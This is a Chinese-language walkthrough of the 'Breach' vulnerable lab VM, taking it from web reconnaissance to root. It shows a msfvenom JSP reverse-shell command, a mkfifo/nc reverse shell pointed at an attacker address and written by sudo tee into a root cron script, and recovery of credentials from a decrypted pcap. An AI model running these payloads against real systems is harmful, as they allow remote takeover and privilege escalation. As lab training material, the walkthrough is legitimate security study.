fbi靶机渗透
1. 渗透过程
给出了IP地址为固定的
192.168.110.140
而我当前上网的ip为:
192.168.0.101
这里给配置电脑两个IP地址
先配置一个静态然后点高级添加一个IP地址就可以了
下面开始收集信息
用nmap扫描端口
nmap -v -A -oN /tmp/fbi.txt
扫描结果发现开启了1000个端口996个服务
显然这不正常
那我们直接去看看web:
http://192.168.110.140
主页的文字翻译:
Initech被攻破,董事会投票决定聘请其内部的Initech网络咨询有限责任合伙公司分部提供协助。鉴于此次违约事件的高调性和近乎灾难性的损失,随后针对该公司的尝试也很多。Initech指派了由Bill Lumbergh、CISSP和Peter Gibbons,C | EH,SEC+,NET+,A+领导的顶级顾问来控制和分析漏洞。
该公司几乎没有意识到,这一漏洞不是熟练的黑客所为,而是一位心怀不满的前员工在离开时送给他的离别礼物。顶级顾问一直在努力控制漏洞。然而,他们自己的职业道德和留下的烂摊子可能是公司的垮台。好像没啥用….
F12看到这么一串东西看起来很像base64
<!------Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo ----->
解密之后:
cGdpYmJvbnM6ZGFtbml0ZmVlbCRnb29kdG9iZWFnYW5nJHRh
好像还是base64再解密:
pgibbons:damnitfeel$goodtobeagang$ta
键值对?会不会是密码,发现主页的图片的超链接里面有个可以输入密码的
还真是密码
登录进去之后发现有三封未读的邮件
第一封:
主题: Posting sensitive content (发布敏感内容)
内容: Peter, yeahhh, I’m going to have to go ahead and ask you to have your team only post any sensitive artifacts to the admin portal. My password is extremely secure. If you could go ahead and tell them all that’d be great. -Bill
彼得,是的,我得去问你,让你的团队只在管理门户上发布任何敏感的工件。我的密码非常安全。如果你能把一切都告诉他们那就太好了。-比尔
第二封:
主题:IDS/IPS system
内容:Hey Peter,
I got a really good deal on an IDS/IPS system from a vendor I met at that happy hour at Chotchkie’s last week! -Michael
嗨,彼得,上周在Chotchkie的欢乐时光里,我遇到一个供应商,他给我提供了一个非常好的ID/IPS系统! -迈克尔
第三封
主题:FWD: Thank you for your purchase of Super Secret Cert Pro!
(FWD:感谢您购买超级机密证书专业版!)
内容:Peter, I am not sure what this is. I saved the file here: 192.168.110.140/.keystore Bob ——————————————————————————————————————————————- From: registrar@penetrode.com Sent: 02 June 2016 16:16 To: bob@initech.com; admin@breach.local Subject: Thank you for your purchase of Super Secret Cert Pro! Please find attached your new SSL certificate. Do not share this with anyone!
彼得,我不知道这是什么。我将文件保存在此处:192.168.110.140/.keystore Bob———————————–发件人:registrator@penetrode.com发送时间:2016年6月2日16:16收件人:Bob@initech.com;admin@break.local Subject:感谢您购买超级机密证书专业版!请查找附加的新SSL证书。不要和任何人分享!
发现有一个证书保存在:
http://192.168.110.140/.keystore
keystore需要解析:
keytool -list -v -keystore keystore
但是需要密码…这密码是啥呢?
最后在
http://192.168.110.140/impresscms/modules/profile/index.php?uid=2
页面中找到一个SSL implementation test capture
的超链接>>>打开发现有一封邮件Published by Peter Gibbons on 2016/6/4 21:37:05. (0 reads)
Team - I have uploaded a pcap file of our red team’s re-production of the attack. I am not sure what trickery they were using but I cannot read the file. I tried every nmap switch from my C|EH studies and just cannot figure it out. http://192.168.110.140/impresscms/_SSL_test_phase1.pcap They told me the alias, storepassword and keypassword are all set to ‘tomcat’. Is that useful?? Does anyone know what this is? I guess we are securely encrypted now? -Peter p.s. I’m going fishing for the next 2 days and will not have access to email or phone.
由[Peter Gibbons]出版(http://192.168.110.140/imprescms/modules/content/index.php?uid=2)2016年6月4日21:37:05。(0读)
团队-我上传了一个关于红队重新制造攻击的pcap文件。我不知道他们在耍什么花招,但我看不懂文件。我试过从我的C | EH研究中的每一个nmap开关,但就是想不出来。http://192.168.110.140/impresscms/_SSL_test_phase1.pcap 他们告诉我别名、存储密码和密钥密码都设置为“tomcat”。那有用吗??有人知道这是什么吗?我想我们现在已经加密了?-彼得
p.s.我将在接下来的两天里去钓鱼,我将无法使用电子邮件或电话。
里面说存储密码和密钥密码都设置为“tomcat”而且是用于http://192.168.110.140/impresscms/_SSL_test_phase1.pcap的秘钥证书
找打了密码那就解开来看看
keytool -list -v -keystore keystore
结果:
密钥库类型: JKS
密钥库提供方: SUN
您的密钥库包含 1 个条目
别名: tomcat
创建日期: 2016-5-21
条目类型: PrivateKeyEntry
证书链长度: 1
证书[1]:
所有者: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
发布者: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
序列号: 60856e88
有效期开始日期: Sat May 21 01:51:07 CST 2016, 截止日期: Fri Aug 19 01:51:07 CST 2016
证书指纹:
MD5: C4:72:E6:B0:5F:58:CE:8B:B4:7E:2D:67:86:A9:52:A0
SHA1: D5:D2:49:C3:69:93:CC:E5:39:A9:DE:5C:91:DC:F1:26:A6:40:46:53
SHA256: F0:4A:E8:7F:52:C1:78:B4:14:2B:4D:D9:1A:34:31:F7:19:0A:29:F6:0C:85:00:0B:58:3A:37:20:6C:7E:E6:31
签名算法名称: SHA256withRSA
版本: 3
扩展:
1: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 47 6B A3 37 ED A5 1F 0A 0D 61 CA AA 17 9C F4 8C Gk.7.....a......
0010: 10 64 87 DF .d..
]
]用Wireshark打开SSL_test_phase1.pcap看了一下,发现都是加密的
那我们要导出证书
#命令:
keytool -importkeystore -srckeystore <keystore路径> -destkeystore <证书保存的位置\.p12> -deststoretype PKCS12 -srcalias tomcat导出之后再将导出的证书导入Wireshark
开始分析他们的攻击流量
找到路径:
https://192.168.110.140:8443/_M@nag3Me/html
进不去??咋办???
ie低版本才能进去啊。。。
未完待续。。。
今天搞了个xp发现可一进去,但是需要密码啊!!
接着去分析流量去
找到这样的一行
username="tomcat" password="s3cret"
去试试。。。
密码不对进不去
然后又在找
最后在一个请求头里面找到
Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
base64编码,去解开
tomcat:Tt\5D8F(#!*u=G)4m7zB
这个好像是密码进去之后找到一个上传war包的地方
使用kali生成一个shell:
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.110.120 -o /tmp/s.jsp
得到一个tomcat的shell
想办法提权
到网站目录下找到两个MD5命名的php文件
查看到两个都是数据库连接文件
// Database Username
// Your database user account on the host
define( 'SDATA_DB_USER', 'root' );
// Database Password
// Password for your database user account
define( 'SDATA_DB_PASS', '' );查看数据库的账号密码
select user,password from user;
+------------------+-------------------------------------------+
| user | password |
+------------------+-------------------------------------------+
| root | |
| milton | 6450d89bd3aff1d893b85d3ad65d2ec2 |
| root | |
| root | |
| debian-sys-maint | *A9523939F1B2F3E72A4306C34F225ACF09590878 |
+------------------+-------------------------------------------+发现一个账户
milton : 6450d89bd3aff1d893b85d3ad65d2ec2
mysql都是MD5加密的碰撞之后得到:
thelaststraw
再看看怎么提权
cat /etc/passwd
看看用户信息找到两个用户创建的用户
1. milton:x:1000:1000:Milton_Waddams,,,:/home/milton:/bin/bash
2. blumbergh:x:1001:1001:Bill Lumbergh,,,:/home/blumbergh:/bin/bashmilton
这个用户和mysql的用户名一致那密码会不会也一样?试试…
发现进去了提权到了milton普通用户
回到home目录下发现只有两个文件
一张图片,一个sh,sh里面写的是:
There's nothing here
(这里什么都没有)这时候想想看图片隐写
用scp拿下来:
scp [-r <dir>] my_badge.jpg root@192.168.110.120:/tmp
读取一下并没有什么东西,然后到网站目录下去看看,发现一个images文件夹
里面的图片都是以人名命名的,都是照片?下下来读取一下数据
最后在bill.png中找到一个键值对:
Comment:coffeestains
Comment(解释)coffeestains(咖啡渍)对图片的解释?可能是blumbergh的密码,都试试看
发现coffeestains就是blumbergh的密码,然后我们进blumbergh的账户
然后三部曲:
cd history crontab -l
查看home目录的内容:发现是空的
查看计划任务:发现啥也没有
查看history发现有两行特殊的
cd /usr/share/cleanup
cat tidyup.sh顺藤摸瓜> 我们看到tidyup.sh的内容是:
#Hacker Evasion Script
#Initech Cyber Consulting, LLC
#彼得·吉本斯和迈克尔·博尔顿-2016
#This script is set to run every 3 minutes as an additional defense measure against hackers.
#黑客规避脚本
#Initech网络咨询有限责任公司
#此脚本设置为每3分钟运行一次,作为对黑客的额外防御措施。
cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf竟然是一个黑客防御的脚本
然后发现是root用户的脚本而且还是3分钟执行一次
我们想办法把里面的语句变成shellcode
查看该用户可以执行root的什么命令
sudo -l
#User blumbergh may run the following commands on Breach:
(root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh发现可以使用一个tee的文件百度一看,这是一个获得标准输入的命令
我们通过tee将shellcode写到tidyup.sh
先写一个shellcode
echo "mkfifo /tmp/lcawx; nc 192.168.110.120 20096 0</tmp/lcawx | /bin/sh >/tmp/lcawx 2>&1; rm /tmp/lcawx" > /tmp/s
#再执行
cat /tmp/s | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
kalii监听一个20096端口:
nc -lvp 20096
静静的等带3分钟的到来
然后就反弹了一个shell
我们再用python将提升到标准shell
python -c 'import pty; pty.spawn("/bin/bash")'
- 就拿到了rootshell!!
- THEEND
2. 重要信息
1. 网站账号密码: pgibbons : damnitfeel$goodtobeagang$ta
2. 红客攻击流量包地址:http://192.168.110.140/impresscms/_SSL_test_phase1.pcap
3. keystore密钥地址:http://192.168.110.140/.keystore
4. tomcat后台地址: https://192.168.110.140:8443/_M@nag3Me/html
5. tomcat后台账号密码:tomcat : Tt\5D8F(#!*u=G)4m7zB
6. mysql账号密码: root : <null>
7. mysql另一个账号密码 : milton : thelaststraw(也是服务器milton用户的密码)
8. 服务器用户密码:blumbergh : coffeestains
9. 最后拿到了rootshell 把密码改成了 flair